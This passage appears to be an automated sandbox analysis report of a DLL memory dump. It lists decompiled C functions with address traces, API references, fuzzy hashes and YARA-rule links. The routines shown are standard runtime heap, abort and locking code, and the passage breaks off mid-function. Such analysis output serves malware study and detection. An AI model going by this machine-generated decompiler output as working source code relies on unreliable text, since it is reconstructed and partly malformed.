							 *((intOrPtr*)(_t35 - 0x28)) = 0xa0a0000;
							 *((char*)(_t35 - 0x24)) = 0xa;
							 *(_t35 - 0x23) =  *(_t35 - 0x23) & 0x000000f8;
							 *((char*)(_t35 - 0x22)) = 0;
							__eflags = _t35 - 0x20 - _t33;
						} while (__eflags != 0);
						_t31 = _v12;
					}
				} else {
					_t31 = 0;
				}
				E6E17FBB2(0);
				return _t31;
			}

0x6e183d8f
0x6e183d90
0x6e183d97
0x6e183d9c
0x6e183da0
0x6e183da4
0x6e183da7
0x6e183dad
0x6e183dad
0x6e183db3
0x6e183db5
0x6e183db8
0x6e183db8
0x6e183dbb
0x6e183dbd
0x6e183dc3
0x6e183dc7
0x6e183dcc
0x6e183dd0
0x6e183dd2
0x6e183dd5
0x6e183ddb
0x6e183de2
0x6e183de6
0x6e183dea
0x6e183ded
0x6e183ded
0x6e183df1
0x6e183df4
0x6e183da9
0x6e183da9
0x6e183da9
0x6e183df6
0x6e183e03

APIs

Part of subcall function 6E17FB55: RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000,?,6E17FABB,00000001,00000364,?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B), ref: 6E17FB96

_free.LIBCMT ref: 6E183DF6

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 3d386286e3168ca0f4cfdf0954778653b59a02e8dfd1a61260543b773b1e8d2f
Instruction ID: f1f98b621eecb288fcf525a61e40316607ce4450571a96ff856b297ab967c6ec
Opcode Fuzzy Hash: 3d386286e3168ca0f4cfdf0954778653b59a02e8dfd1a61260543b773b1e8d2f
Instruction Fuzzy Hash: F2012B721003056BE721CE99CC9598BFBEDFB85330F75061DE59483280EB3068468B64

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FB55, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6E17FB55(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6e253aa8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6E189AB0();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6E17BB7E())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6E17DBA3(_t15, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6e17fb55
0x6e17fb5b
0x6e17fb60
0x6e17fb6e
0x6e17fb6e
0x6e17fb74
0x6e17fb76
0x6e17fb76
0x6e17fb8d
0x6e17fb96
0x6e17fb9e
0x00000000
0x00000000
0x6e17fb7e
0x6e17fb80
0x6e17fba2
0x6e17fba7
0x6e17fbad
0x00000000
0x6e17fbad
0x6e17fb83
0x6e17fb88
0x6e17fb89
0x6e17fb8b
0x00000000
0x00000000
0x6e17fb8b
0x00000000
0x6e17fb8d
0x6e17fb66
0x6e17fb6c
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000,?,6E17FABB,00000001,00000364,?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B), ref: 6E17FB96

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ad8ce05ef1f8f7d7790f164596722bb4fdd0781a518e46287fac34fa643c56e0
Instruction ID: 7fc076d66d567f2e9d9bc7eeece12fee3e4bfb0161ac2f4cdb113b38556f78b6
Opcode Fuzzy Hash: ad8ce05ef1f8f7d7790f164596722bb4fdd0781a518e46287fac34fa643c56e0
Instruction Fuzzy Hash: D0F096316405296AEE715EF68824E8B3F5DBF9AF71B318512D834A7144CB30D984A6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E1813DA, Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E1813DA(intOrPtr* __ecx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				void* _t13;
				void* _t20;
				intOrPtr* _t24;
				intOrPtr _t25;

				_t24 = __ecx;
				_t25 = E6E17FB55(__ecx, 1, 0xb8);
				 *((intOrPtr*)( *__ecx)) = _t25;
				_t13 = E6E17FBB2(0);
				if(_t25 != 0) {
					_v24 =  *_t24;
					_v20 =  *((intOrPtr*)(_t24 + 4));
					_v16 =  *((intOrPtr*)(_t24 + 8));
					_v12 =  *((intOrPtr*)(_t24 + 0xc));
					_v8 =  *((intOrPtr*)(_t24 + 0x10));
					_t20 = E6E1813B2(4,  &_v24); // executed
					return _t20;
				}
				return _t13;
			}

0x6e1813eb
0x6e1813f2
0x6e1813f8
0x6e1813fa
0x6e181404
0x6e181408
0x6e18140e
0x6e181414
0x6e18141a
0x6e181420
0x6e181429
0x00000000
0x6e18142f
0x6e181435

APIs

Part of subcall function 6E17FB55: RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000,?,6E17FABB,00000001,00000364,?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B), ref: 6E17FB96

_free.LIBCMT ref: 6E1813FA

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: d48916c4652f2fac2dc31da548d56929d1858106ee56d51a6abf9b617d990fea
Instruction ID: e7f51ef3c048e8ce1e6ef59a97067f12b8de4eead3fc9b5dea3ce5be7f7bc8d3
Opcode Fuzzy Hash: d48916c4652f2fac2dc31da548d56929d1858106ee56d51a6abf9b617d990fea
Instruction Fuzzy Hash: DDF03C72A00609AFC710DFA8C441B9ABBF8FB48714F204266ED28E7340EB71A9508BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FBEC, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6E17FBEC(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6E17BB7E())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6e253aa8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6E189AB0();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6E17DBA3(_t7, _t8, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6e17fbec
0x6e17fbf2
0x6e17fbf8
0x6e17fc2a
0x6e17fc2f
0x6e17fc35
0x00000000
0x6e17fc35
0x6e17fbfc
0x6e17fbfe
0x6e17fbfe
0x6e17fc15
0x6e17fc1e
0x6e17fc26
0x00000000
0x00000000
0x6e17fc06
0x6e17fc08
0x00000000
0x00000000
0x6e17fc0b
0x6e17fc10
0x6e17fc11
0x6e17fc13
0x00000000
0x00000000
0x6e17fc13
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 38ef8e168c1cac19d3710a86a3531b21124746b314de5b5e4f3493d2f530192c
Instruction ID: 50280f57eb1e097fcc9d596ae7c2b256a6f65ef04f37d254cd209c3c23de559a
Opcode Fuzzy Hash: 38ef8e168c1cac19d3710a86a3531b21124746b314de5b5e4f3493d2f530192c
Instruction Fuzzy Hash: 2CE0E5351081226AEE311AEA4C04F877A4CEF6BEB0F720920DD3996184EB20C9C1B1E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E177249, Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6E177249(intOrPtr __ebx, void* __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags, intOrPtr _a8, intOrPtr _a12) {
				signed int* _v0;
				void* __ebp;
				void* _t8;
				void* _t9;
				intOrPtr* _t11;
				signed int _t14;
				intOrPtr _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				signed int* _t26;
				intOrPtr _t27;
				signed int* _t28;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t34;
				void* _t38;

				_t30 = __esi;
				_t27 = __edi;
				_t25 = __edx;
				_t20 = __ebx;
				_t8 = E6E177257(__ecx);
				if(_t8 == 0) {
					_t9 = E6E18806D(); // executed
					if(_t9 != 0) {
						_push(0x16);
						E6E1880C8();
					}
					if(( *0x6e1bb2c0 & 0x00000002) != 0) {
						if(IsProcessorFeaturePresent(0x17) != 0) {
							_push(7);
							asm("int 0x29");
						}
						E6E17875F(_t20, _t25, _t27, _t30, 3, 0x40000015, 1);
						_t38 = _t38 + 0xc;
					}
					E6E17E0A6(3);
					asm("int3");
					_t26 = _v0;
					_push(_t30);
					if(_t26 == 0) {
						L13:
						_t11 = E6E17BB7E();
						_push(0x16);
						goto L14;
					} else {
						_t22 = _a8;
						if(_t22 == 0) {
							goto L13;
						} else {
							_t33 = _a12;
							if(_t33 != 0) {
								_push(_t27);
								_t28 = _t26;
								_t34 = _t33 - _t26;
								while(1) {
									_t14 =  *(_t34 + _t28) & 0x0000ffff;
									 *_t28 = _t14;
									_t28 =  &(_t28[0]);
									if(_t14 == 0) {
										break;
									}
									_t22 = _t22 - 1;
									if(_t22 != 0) {
										continue;
									}
									break;
								}
								if(_t22 != 0) {
								} else {
									 *_t26 = 0;
									_t11 = E6E17BB7E();
									_push(0x22);
									L14:
									_pop(0);
									 *_t11 = 0;
									E6E178929();
								}
							} else {
								 *_t26 = 0;
								goto L13;
							}
						}
					}
					return 0;
				} else {
					return _t8; // executed
				}
			}

0x6e177249
0x6e177249
0x6e177249
0x6e177249
0x6e177249
0x6e177250
0x6e17d659
0x6e17d660
0x6e17d662
0x6e17d664
0x6e17d669
0x6e17d671
0x6e17d67c
0x6e17d67e
0x6e17d681
0x6e17d681
0x6e17d68c
0x6e17d691
0x6e17d691
0x6e17d696
0x6e17d69b
0x6e17d6a1
0x6e17d6a4
0x6e17d6a7
0x6e17d6bc
0x6e17d6bc
0x6e17d6c1
0x00000000
0x6e17d6a9
0x6e17d6a9
0x6e17d6ae
0x00000000
0x6e17d6b0
0x6e17d6b0
0x6e17d6b5
0x6e17d6d0
0x6e17d6d1
0x6e17d6d3
0x6e17d6d5
0x6e17d6d5
0x6e17d6d9
0x6e17d6dc
0x6e17d6e2
0x00000000
0x00000000
0x6e17d6e4
0x6e17d6e7
0x00000000
0x00000000
0x00000000
0x6e17d6e7
0x6e17d6ec
0x6e17d6ee
0x6e17d6f0
0x6e17d6f3
0x6e17d6f8
0x6e17d6c3
0x6e17d6c3
0x6e17d6c4
0x6e17d6c6
0x6e17d6c6
0x6e17d6b7
0x6e17d6b9
0x00000000
0x6e17d6b9
0x6e17d6b5
0x6e17d6ae
0x6e17d6cf
0x6e177256
0x6e177256
0x6e177256

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6E17FA89,?,?,?,?,?,?,?,6E170044), ref: 6E17D675

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: dcea0c94be3d5f5439a3e847a9d86c8deb02cc47d9f38973c01ba1c3cefd73d9
Instruction ID: 7ad05b63da1477c7a12a95ffc952cfdcefca8e845dbf58e9eb3ab1745af00ec0
Opcode Fuzzy Hash: dcea0c94be3d5f5439a3e847a9d86c8deb02cc47d9f38973c01ba1c3cefd73d9
Instruction Fuzzy Hash: 3CE0865538830F25FE30A1E05C27BDF054C0F62F0CF7008697A3AA80C2EF8482C17825

Uniqueness

Uniqueness Score: -1.00%

Function 6E17A005, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E17A005(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v4;
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				signed int _t74;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				intOrPtr _t82;
				signed int _t85;
				signed int _t92;
				intOrPtr _t94;
				signed int _t107;
				intOrPtr* _t109;
				void* _t111;
				void* _t116;
				signed int _t120;
				signed int _t121;
				signed int _t124;
				void* _t129;
				signed int _t130;
				signed int _t132;
				intOrPtr _t133;
				intOrPtr* _t134;
				signed int _t135;
				intOrPtr _t137;
				signed int _t138;
				void* _t142;
				void* _t143;
				void* _t145;

				_t129 = __edi;
				_t128 = __edx;
				_t109 = __ecx;
				_t105 = __ebx;
				_push(0xc);
				_push(0x6e1b9300);
				E6E18F360();
				_t134 =  *((intOrPtr*)(E6E17FA06(__ebx, _t109, _t128) + 0xc));
				if(_t134 != 0) {
					_v4 = _v4 & 0x00000000;
					_t109 = _t134;
					 *0x6e1911c4();
					 *_t134();
					_v4 = 0xfffffffe;
				}
				E6E17D659(_t105, _t128, _t129, _t134);
				asm("int3");
				_push(_t109);
				if(_v0 != 0) {
					_push(_t134);
					_push(_t129);
					_t130 = 0;
					_t74 = E6E182891( &_v8, 0, 0, _a8, 0x7fffffff);
					_t143 = _t142 + 0x14;
					__eflags = _t74;
					if(_t74 == 0) {
						L9:
						_t135 = E6E17FB55(_t109, _v8, 2);
						_pop(_t111);
						__eflags = _t135;
						if(_t135 == 0) {
							L15:
							E6E17FBB2(_t135);
							_t77 = _t130;
							goto L16;
						} else {
							_t78 = E6E182891(_t130, _t135, _v8, _a8, 0xffffffff);
							_t143 = _t143 + 0x14;
							__eflags = _t78;
							if(_t78 == 0) {
								_t130 = E6E181B7D(_t105, _t111, _a4, _t135);
								goto L15;
							} else {
								__eflags = _t78 - 0x16;
								if(_t78 == 0x16) {
									goto L17;
								} else {
									__eflags = _t78 - 0x22;
									if(_t78 != 0x22) {
										goto L15;
									} else {
										goto L17;
									}
								}
							}
						}
					} else {
						__eflags = _t74 - 0x16;
						if(_t74 == 0x16) {
							L17:
							_push(_t130);
							_push(_t130);
							_push(_t130);
							_push(_t130);
							_push(_t130);
							E6E178956();
							asm("int3");
							_t81 = E6E174A80(_t128, 0x6e1b9320, 0x1c);
							_push(_a8);
							_t137 = _a4;
							L4();
							_t116 = _t137;
							_t132 = _t81;
							__eflags = _t132;
							if(_t132 != 0) {
								_t82 = E6E17FA06(_t105, _t116, _t128);
								_v40 = _t82;
								_v48 =  *((intOrPtr*)(_t82 + 0x4c));
								_t118 =  *((intOrPtr*)(_t82 + 0x48));
								_v44 =  *((intOrPtr*)(_t82 + 0x48));
								_v32 = 0;
								_t85 = E6E182B32( *((intOrPtr*)(_t82 + 0x48)),  &_v32, 0, 0, _t132, 0,  &_v48);
								_t145 = _t143 + 0x18;
								__eflags = _t85;
								if(_t85 == 0) {
									L26:
									_t107 = E6E17FBEC(_t118, _v32 + 4);
									__eflags = _t107;
									if(_t107 == 0) {
										goto L19;
									} else {
										_v36 = _t107 + 4;
										_t118 =  &_v48;
										_t132 = 0;
										_t92 = E6E182B32( &_v48, 0, _t107 + 4, _v32, 0, 0xffffffff,  &_v48);
										_t145 = _t145 + 0x18;
										__eflags = _t92;
										if(_t92 == 0) {
											L33:
											_t133 = _v48;
											E6E17B46C(4);
											_pop(_t120);
											_v8 = _v8 & 0x00000000;
											_t138 = _t137 + _t137;
											_t128 =  *(_t133 + 0x24 + _t138 * 8);
											_t121 = _t120 | 0xffffffff;
											__eflags =  *(_t133 + 0x24 + _t138 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E6E17FBB2( *(_t133 + 0x24 + _t138 * 8));
													_pop(_t124);
													 *(_t133 + 0x24 + _t138 * 8) =  *(_t133 + 0x24 + _t138 * 8) & 0x00000000;
													_t121 = _t124 | 0xffffffff;
													__eflags = _t121;
												}
											}
											_t94 = _v40;
											__eflags =  *(_t94 + 0x350) & 0x00000002;
											if(( *(_t94 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x6e1bb3d8 & 0x00000001;
												if(( *0x6e1bb3d8 & 0x00000001) == 0) {
													__eflags =  *(_t133 + 0x24 + _t138 * 8);
													if( *(_t133 + 0x24 + _t138 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t121 == 1;
														if(_t121 == 1) {
															E6E17FBB2( *(_t133 + 0x24 + _t138 * 8));
															_t55 = _t133 + 0x24 + _t138 * 8;
															 *_t55 =  *(_t133 + 0x24 + _t138 * 8) & 0x00000000;
															__eflags =  *_t55;
														}
													}
												}
											}
											 *_t107 =  *((intOrPtr*)(_t133 + 0xc));
											 *(_t133 + 0x24 + _t138 * 8) = _t107;
											 *((intOrPtr*)(_t133 + 0x1c + _t138 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E6E17A232();
										} else {
											__eflags = _t92 - 0x16;
											if(_t92 == 0x16) {
												L30:
												_push(_t132);
												_push(_t132);
												_push(_t132);
												_push(_t132);
												_push(_t132);
												goto L24;
											} else {
												__eflags = _t92 - 0x22;
												if(_t92 != 0x22) {
													__eflags = _t92;
													if(_t92 == 0) {
														goto L33;
													} else {
														E6E17FBB2(_t107);
														goto L19;
													}
												} else {
													goto L30;
												}
											}
										}
									}
								} else {
									__eflags = _t85 - 0x16;
									if(_t85 == 0x16) {
										L23:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L24:
										_t85 = E6E178956();
									} else {
										__eflags = _t85 - 0x22;
										if(_t85 == 0x22) {
											goto L23;
										}
									}
									__eflags = _t85;
									if(_t85 != 0) {
										goto L19;
									} else {
										goto L26;
									}
								}
							} else {
								L19:
							}
							return E6E174AC6(_t128);
						} else {
							__eflags = _t74 - 0x22;
							if(_t74 == 0x22) {
								goto L17;
							} else {
								goto L9;
							}
						}
					}
				} else {
					_t77 = E6E181B7D(_t105, _t109, _a4, 0);
					L16:
					return _t77;
				}
			}

0x6e17a005
0x6e17a005
0x6e17a005
0x6e17a005
0x6e17a005
0x6e17a007
0x6e17a00c
0x6e17a016
0x6e17a01b
0x6e17a01d
0x6e17a021
0x6e17a023
0x6e17a029
0x6e17a034
0x6e17a034
0x6e17a03b
0x6e17a040
0x6e17a046
0x6e17a04b
0x6e17a05b
0x6e17a05c
0x6e17a065
0x6e17a06d
0x6e17a072
0x6e17a075
0x6e17a077
0x6e17a083
0x6e17a08d
0x6e17a090
0x6e17a091
0x6e17a093
0x6e17a0c4
0x6e17a0c5
0x6e17a0cb
0x00000000
0x6e17a095
0x6e17a09f
0x6e17a0a4
0x6e17a0a7
0x6e17a0a9
0x6e17a0c2
0x00000000
0x6e17a0ab
0x6e17a0ab
0x6e17a0ae
0x00000000
0x6e17a0b0
0x6e17a0b0
0x6e17a0b3
0x00000000
0x6e17a0b5
0x00000000
0x6e17a0b5
0x6e17a0b3
0x6e17a0ae
0x6e17a0a9
0x6e17a079
0x6e17a079
0x6e17a07c
0x6e17a0d3
0x6e17a0d3
0x6e17a0d4
0x6e17a0d5
0x6e17a0d6
0x6e17a0d7
0x6e17a0d8
0x6e17a0dd
0x6e17a0e5
0x6e17a0ea
0x6e17a0ed
0x6e17a0f1
0x6e17a0f7
0x6e17a0f8
0x6e17a0fa
0x6e17a0fc
0x6e17a105
0x6e17a10a
0x6e17a110
0x6e17a113
0x6e17a116
0x6e17a11b
0x6e17a12a
0x6e17a12f
0x6e17a132
0x6e17a134
0x6e17a14e
0x6e17a15b
0x6e17a15d
0x6e17a15f
0x00000000
0x6e17a161
0x6e17a164
0x6e17a167
0x6e17a172
0x6e17a175
0x6e17a17a
0x6e17a17d
0x6e17a17f
0x6e17a1a2
0x6e17a1a2
0x6e17a1a7
0x6e17a1ac
0x6e17a1ad
0x6e17a1b1
0x6e17a1b3
0x6e17a1b7
0x6e17a1ba
0x6e17a1bc
0x6e17a1c0
0x6e17a1c4
0x6e17a1ca
0x6e17a1cf
0x6e17a1d0
0x6e17a1d5
0x6e17a1d5
0x6e17a1d5
0x6e17a1c4
0x6e17a1d8
0x6e17a1db
0x6e17a1e2
0x6e17a1e4
0x6e17a1eb
0x6e17a1f1
0x6e17a1f3
0x6e17a1f5
0x6e17a1f9
0x6e17a1fa
0x6e17a200
0x6e17a206
0x6e17a206
0x6e17a206
0x6e17a206
0x6e17a1fa
0x6e17a1f3
0x6e17a1eb
0x6e17a20e
0x6e17a210
0x6e17a217
0x6e17a21b
0x6e17a222
0x6e17a181
0x6e17a181
0x6e17a184
0x6e17a18b
0x6e17a18b
0x6e17a18c
0x6e17a18d
0x6e17a18e
0x6e17a18f
0x00000000
0x6e17a186
0x6e17a186
0x6e17a189
0x6e17a192
0x6e17a194
0x00000000
0x6e17a196
0x6e17a197
0x00000000
0x6e17a19c
0x00000000
0x00000000
0x00000000
0x6e17a189
0x6e17a184
0x6e17a17f
0x6e17a136
0x6e17a136
0x6e17a139
0x6e17a140
0x6e17a140
0x6e17a141
0x6e17a142
0x6e17a143
0x6e17a144
0x6e17a145
0x6e17a145
0x6e17a13b
0x6e17a13b
0x6e17a13e
0x00000000
0x00000000
0x6e17a13e
0x6e17a14a
0x6e17a14c
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17a14c
0x6e17a0fe
0x6e17a0fe
0x6e17a0fe
0x6e17a22e
0x6e17a07e
0x6e17a07e
0x6e17a081
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17a081
0x6e17a07c
0x6e17a04d
0x6e17a052
0x6e17a0cf
0x6e17a0d2
0x6e17a0d2

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

_abort.LIBCMT ref: 6E17A03B

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_abort$_free
String ID:
API String ID: 997063059-0
Opcode ID: cc3fe196edf907ef047ba3193090d87bc55f9720677ab74f3d72312964e76929
Instruction ID: b3938ed47ef80a96c13f463ea214aa69e24542904d99d6f839bcb0f03a8c76c3
Opcode Fuzzy Hash: cc3fe196edf907ef047ba3193090d87bc55f9720677ab74f3d72312964e76929
Instruction Fuzzy Hash: 83D05E31E06618EBCE21EBF0891878F76246F16F29F214A48C4212B2D0CB358DC1FE91

Uniqueness

Uniqueness Score: -1.00%

Function 6E17B46C, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E17B46C(signed int _a4) {
				struct _CRITICAL_SECTION* _t3;

				_t3 = 0x6e253410 + _a4 * 0x18;
				EnterCriticalSection(_t3); // executed
				return _t3;
			}

0x6e17b475
0x6e17b47b
0x6e17b482

APIs

RtlEnterCriticalSection.NTDLL(-6E252E05,?,6E17DBFE,00000000,6E1B94C8,0000000C,6E17DBB9,6E1673C4,?,?,6E17FB88,6E1673C4,?,6E17FABB,00000001,00000364), ref: 6E17B47B

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 3abf2ba24de049010884396dc9c8363bfd0bc1743ce9f7b19f2fb607c19ecb03
Instruction ID: a50608a1110bb233970f689da74de7af269b91665f366432f2b5e726f9228165
Opcode Fuzzy Hash: 3abf2ba24de049010884396dc9c8363bfd0bc1743ce9f7b19f2fb607c19ecb03
Instruction Fuzzy Hash: A3B022B200020CA38E00AA88CE0EAAABB0CA0C02003088020B80CCB222CA33E3308080

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E183009, Relevance: 10.9, APIs: 7, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6E183009(void* __ebx, void* __edi, signed int __esi, void* __eflags, signed int _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v52;
				int _v56;
				int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				long _t93;
				signed int* _t96;
				signed int _t99;
				signed int _t102;
